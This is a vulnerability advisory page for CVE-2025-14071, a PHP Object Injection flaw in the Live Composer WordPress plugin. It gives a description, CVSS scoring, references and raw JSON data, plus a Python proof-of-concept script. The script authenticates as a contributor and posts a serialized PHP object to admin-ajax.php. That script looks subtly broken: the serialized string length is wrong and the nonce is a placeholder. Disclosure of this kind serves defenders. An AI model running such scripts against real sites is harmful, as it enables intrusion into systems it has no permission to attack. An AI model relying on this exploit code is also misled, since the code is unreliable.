Security Vulnerability Report
中文
CVE-2025-14071 CVSS 7.5 HIGH

CVE-2025-14071

Published: 2025-12-21 03:15:52
Last Modified: 2026-04-15 00:35:42

Description

The Live Composer – Free WordPress Website Builder plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 2.0.2 via deserialization of untrusted input in the dslc_module_posts_output shortcode. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject a PHP Object. No known POP chain is present in the vulnerable plugin, which means this vulnerability has no impact unless another plugin or theme containing a POP chain is installed on the site. If a POP chain is present via an additional plugin or theme installed on the target system, it may allow the attacker to perform actions like delete arbitrary files, retrieve sensitive data, or execute code depending on the POP chain present.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Live Composer插件 1.0 至 2.0.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import hashlib # CVE-2025-14071 PoC - PHP Object Injection in Live Composer # Requires Contributor+ level WordPress account target_url = "http://target-wordpress-site.com" username = "attacker" password = "password" # Step 1: Authenticate and get nonce session = requests.Session() login_url = f"{target_url}/wp-login.php" login_data = { "log": username, "pwd": password, "wp-submit": "Log In" } session.post(login_url, data=login_data) # Step 2: Get nonce for shortcode execution nonce_url = f"{target_url}/wp-admin/admin-ajax.php?action=dslc_ajax_get_posts" # Note: Actual nonce extraction depends on plugin configuration # Step 3: Inject malicious serialized object # The vulnerable parameter in dslc_module_posts_output shortcode malicious_payload = 'O:15:"WP_Http_Cookie":1:{s:7:"name";s:5:"shell";}' post_data = { "action": "dslc_ajax_get_posts", "shortcode": "dslc_module_posts_output", "options": malicious_payload, # Vulnerable parameter "nonce": "extracted_nonce_here" } response = session.post(f"{target_url}/wp-admin/admin-ajax.php", data=post_data) print(f"Response Status: {response.status_code}") print(f"Response: {response.text}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14071", "sourceIdentifier": "[email protected]", "published": "2025-12-21T03:15:52.487", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Live Composer – Free WordPress Website Builder plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 2.0.2 via deserialization of untrusted input in the dslc_module_posts_output shortcode. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject a PHP Object. No known POP chain is present in the vulnerable plugin, which means this vulnerability has no impact unless another plugin or theme containing a POP chain is installed on the site. If a POP chain is present via an additional plugin or theme installed on the target system, it may allow the attacker to perform actions like delete arbitrary files, retrieve sensitive data, or execute code depending on the POP chain present."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "references": [{"url": "https://github.com/live-composer/live-composer-page-builder/commit/2b0b430ab107eb6cb72196251e429a695c11e41b", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/live-composer-page-builder/tags/1.5.53/modules/posts/module.php#L2807", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/live-composer-page-builder/trunk/modules/posts/module.php#L2807", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3419715/live-composer-page-builder/trunk/modules/posts/module.php", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/4b15c991-5256-405c-8382-85dba6f032ba?source=cve", "source": "[email protected]"}, {"url": "https://github.com/live-composer/live-composer-page-builder/commit/17176e259878b450f9feaabbf42522b0e360ff96", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}